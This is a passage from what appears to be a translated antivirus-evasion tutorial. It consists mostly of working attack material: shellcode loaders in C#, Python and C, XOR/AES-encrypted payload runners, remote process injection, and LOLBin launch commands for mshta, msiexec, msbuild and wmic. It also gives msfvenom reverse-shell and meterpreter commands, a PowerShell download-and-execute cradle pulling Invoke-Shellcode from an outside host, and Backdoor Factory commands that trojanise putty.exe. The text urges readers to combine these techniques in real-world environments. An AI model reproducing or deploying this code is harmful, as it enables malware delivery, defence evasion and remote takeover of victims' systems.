                   0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                   0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                   0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
               };

           MemoryMappedFile mmf = null;
           MemoryMappedViewAccessor viewaccessor = null;

           try
           {
               /* The try block creates the MMF and assigns the RWE permissions
               The view accessor is created with matching permissions
               the shell code from GetShellMemAddr is written to MMF
               then the pointer is gained and a delegate is created to handle pointer value
               so that it can be passed in therms of the returned function */

               mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
               var pointer = (byte*)0;
               viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
               var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
               return func();
           }
           catch
           {
               return IntPtr.Zero;
           }
           finally // You should always clean up after yourself :)
           {
               viewaccessor.Dispose();
               mmf.Dispose();
           }
       }

       static void Main(string[] args)
       {
           GetShellMemAddr();
       }
   }
}

msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp

Invoke-MMFml

Figure 10: MMFml PowerShell loader execution

I shall conclude the discussion on loaders at this point. It is highly recommended to develop custom loaders when possible, as they often yield superior evasion results.

B) Lolbins: Leveraging Trusted Binaries for Shellcode Loading

Beyond the "cup and water" separation paradigm of loaders, I contend that Lolbins—or whitelisted binaries—represent another significant category of separation-based evasion.

These techniques are primarily designed to bypass behavioural detection. For instance, when an application's execution context deviates from expected patterns—such as invoking specific APIs that would not normally be called—such anomalous behaviour is readily detected. Whitelist-based exploitation circumvents these behavioural heuristics.

It should be noted, however, that in some cases the shellcode or executable files employed in these techniques may still be written to disk, rendering them susceptible to signature-based detection. We shall address this aspect later in the article. Let us first examine the concept of whitelist exploitation.

LOLBins, an acronym for "Living-Off-the-Land Binaries", was originally conceived by Christopher Campbell and Matt Graeber at the DerbyCon security conference in 2013, with the term itself later coined by Philip Goh. In essence, these are trusted system binaries that can be repurposed for malicious activities. Consider the following examples:

DarkHydrus APT Sample

MD5: B108412F1CDC0602D82D3E6B318DC634

Launch command employed:

cscript.exe "C:\Users\Public\Documents\OfficeUpdateService.vbs"

This example utilises cscript to execute a VBS script that establishes persistence via a startup entry.

Mshta:

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0

mshta.exe http://192.168.174.134 /qing.hta

Template (replace shellcode at designated location):
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

Figure 11: CACTUSTORCH.hta shellcode replacement location

Msiexec:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt

# Loading DLL:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

Msbuild:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

Template (courtesy of 3gstudent):
https://github.com/3gstudent/msbuild-inline-task

Figure 12: MSBuild inline task template

Installutil:

# Compile:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs

# Execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe

# Details:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

Wmic:

wmic os get /FORMAT:"http://example.com/evil.xsl"

Template:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

Csc:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 - f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

Subsequent execution can be performed via Installutil.

I shall refrain from enumerating further whitelist exploitation techniques, as the underlying principle remains consistent across different binaries.

A pertinent question arises: in certain scenarios, the executables or DLLs generated from our shellcode may still be written to disk when employing these techniques.

Although the aforementioned in-memory loading methods can mitigate this issue, what if file system persistence is a mandatory requirement? How can one evade detection in such cases?

This brings us to the second major category of evasion techniques: Obfuscation.

0x02 Shellcode "Obfuscation" Evasion

Is it possible to apply the same obfuscation, encryption, and fragmentation techniques used for PHP web shells to shellcode?

Let us begin with the simplest examples.

A) Shellcode Encoding Obfuscation

After XOR-encrypting the shellcode, memory is allocated for execution—a process fundamentally similar to the shellcode execution method described at the beginning of this article.

C# XOR Example (ShellcodeWrapper):

using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace RunShellCode
{
    static class Program
    {
        //==============================================================================
        // CRYPTO FUNCTIONS
        //==============================================================================
        private static T[] SubArray<T>(this T[] data, int index, int length)
        {
            T[] result = new T[length];
            Array.Copy(data, index, result, 0, length);
            return result;
        }

        private static byte[] xor(byte[] cipher, byte[] key) {
            byte[] decrypted = new byte[cipher.Length];

            for(int i = 0; i < cipher.Length; i++) {
                decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);
            }

            return decrypted;
        }

        //--------------------------------------------------------------------------------------------------
        // Decrypts the given a plaintext message byte array with a given 128 bits key
        // Returns the unencrypted message
        //--------------------------------------------------------------------------------------------------
        private static byte[] aesDecrypt(byte[] cipher, byte[] key)
        {
            var IV = cipher.SubArray(0, 16);
            var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);

            // Create an AesManaged object with the specified key and IV.
            using (AesManaged aes = new AesManaged())
            {
                aes.Padding = PaddingMode.PKCS7;
                aes.KeySize = 128;
                aes.Key = key;
                aes.IV = IV;

                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(encryptedMessage, 0, encryptedMessage.Length);
                    }

                    return ms.ToArray();
                }
            }
        }

        //==============================================================================
        // MAIN FUNCTION
        //==============================================================================
        static void Main()
        {
            byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
            string key = "qing";
            string cipherType = "xor";


            byte[] shellcode = null;

            //--------------------------------------------------------------
            // Decrypt the shellcode
            if (cipherType == "xor") {
                shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
            }
            else if (cipherType == "aes") {
                shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
            }

            //--------------------------------------------------------------            
            // Copy decrypted shellcode to memory
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // Prepare data
            IntPtr pinfo = IntPtr.Zero;

            // Invoke the shellcode
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(
            UInt32 lpStartAddr,
            UInt32 size,
            UInt32 flAllocationType,
            UInt32 flProtect
        );

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
        );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
        );
    }
}

Figure 13: XOR-encrypted shellcode C# loader implementation Figure 14: AV detection results for XOR-encrypted shellcode

The same principles apply to other programming languages. For instance, Python supports XOR encoding, Base64, and hexadecimal encoding, among others.

Python Base64 Example (k8gege):

import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Python Hexadecimal Example:

import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Shellcode Encoder

I also recommend the following encoding tool:
https://github.com/ecx86/shellcode_encoder

Beyond language-based shellcode encoding, one may also choose to encode the shellcode during generation.

MSFVenom Example:

kali@kali:~$ msfvenom -l encoder

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

Using Templates and Encoders

Example usage:

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe 

msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe

Veil Encryption:

Figure 15: Veil framework encryption options

Schelper:

Figure 16: Schelper tool interface

Obfuscation (PowerShell):

Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet

Figure 17: PowerShell obfuscation output

This concludes our discussion on shellcode encoding for execution. Other programming languages follow similar principles and will not be enumerated further.

The preceding examples addressed encoding and encryption of shellcode. Let us now explore shellcode injection techniques.

B) Shellcode Injection Obfuscation

A significant number of injection-based evasion techniques incorporate shellcode fragmentation.

The concept of fragmentation is straightforward: analogous to fragmenting dangerous function names in PHP web shell obfuscation, shellcode can be similarly fragmented to evade detection.

Shellcode fragmentation can involve relocating the shellcode within the binary—for instance, by creating a new section, populating it with shellcode, and modifying the entry point to jump to the shellcode address before returning to the original program entry point.

Alternatively, shellcode can be distributed across multiple code caves and executed in segments. This approach is conceptually similar to the Omelet Shellcode technique found in egg-hunt shellcode implementations.

Let us examine some injection examples:

Backdoor Factory (BDF):

https://github.com/secretsquirrel/the-backdoor-factory

*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths:  410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves: 
1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609
3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493
4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713
5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564
6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581
7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432
8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713
9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564
10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317
11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581
12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432
13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064
14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705
15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317
16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683

The -F parameter in BDF enables multi-cave injection.

backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444

Shellter:

The 'A' option enables section-based injection.

Figure 18: Shellter section injection options

Avet:

root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh 

lhost=192.168.174.134

root@kali:/tmp/avet/build# cd ..

root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh

No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
   shellcode = buf;
               ^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in

Legitimate Process Injection

Shellcode can also be injected into a legitimate running process manually. Example:

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
using namespace std;
    unsigned char shellcode[] =
        "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
        "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
        "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
        "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
        "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
        "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
        "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
        "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
        "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
        "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
        "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
        "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
        "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
        "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
        "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
        "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
        "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
        "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
        "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
        "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
        "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
        "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
        "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
        "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
        "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";


    BOOL injection()
    {
        wchar_t Cappname[MAX_PATH] = { 0 };
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        LPVOID lpMalwareBaseAddr;
        LPVOID lpnewVictimBaseAddr;
        HANDLE hThread;
        DWORD dwExitCode;
        BOOL bRet = FALSE;

        lpMalwareBaseAddr = shellcode;

        GetSystemDirectory(Cappname, MAX_PATH);
        _tcscat(Cappname, L"\\calc.exe");
        printf("Injection program Name:%S\r\n", Cappname);

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        if (CreateProcess(Cappname, NULL, NULL, NULL,
            FALSE, CREATE_SUSPENDED
            , NULL, NULL, &si, &pi) == 0)
        {
            return bRet;
        }

        lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
            , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        if (lpnewVictimBaseAddr == NULL)
        {
            return bRet;
        }

        WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
            (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

        hThread = CreateRemoteThread(pi.hProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

        WaitForSingleObject(pi.hThread, INFINITE);
        GetExitCodeProcess(pi.hProcess, &dwExitCode);
        TerminateProcess(pi.hProcess, 0);
        return bRet;
    }

    void help(char* proc)
    {
        printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
    }

    int main(int argc, char* argv[])
    {
        help(argv[0]);
        injection();
    }

*Figure 19: Process injection code compilation

Figure 20: Process injection execution

Figure 21: Detection results for process injection

I shall conclude the injection examples here. Consider the question: how can one circumvent API hooking detection? Function substitution offers one approach. For instance, among the Win32 APIs, there exist numerous alternatives to VirtualAlloc that can be employed:

Figure 22: Alternative memory allocation functions

0x03 Technique Combinations

We have discussed various techniques, encompassing the separation approach (loaders executing shellcode, whitelist exploitation for malicious execution), as well as shellcode encoding, encryption, and injection. Each technique individually contributes to evasion to some degree; however, employing any single technique in isolation often presents certain limitations.

The key consideration is combining these techniques to achieve optimal results.

Here is a particularly effective example:

Powershell-Payload-Excel-Delivery

https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/

This technique employs shellcode to invoke Graeber's VBA macro, which executes PowerShell (optionally encoded) in memory to achieve persistent backdoor access.

Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

Figure 23: PowerShell payload delivery via Excel

C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!

The techniques themselves are static; creativity in their application is paramount. I trust that this article serves as a catalyst for further exploration, encouraging practitioners to combine multiple techniques with ingenuity to achieve their desired outcomes in real-world environments.

Linux Persistence Maintenance

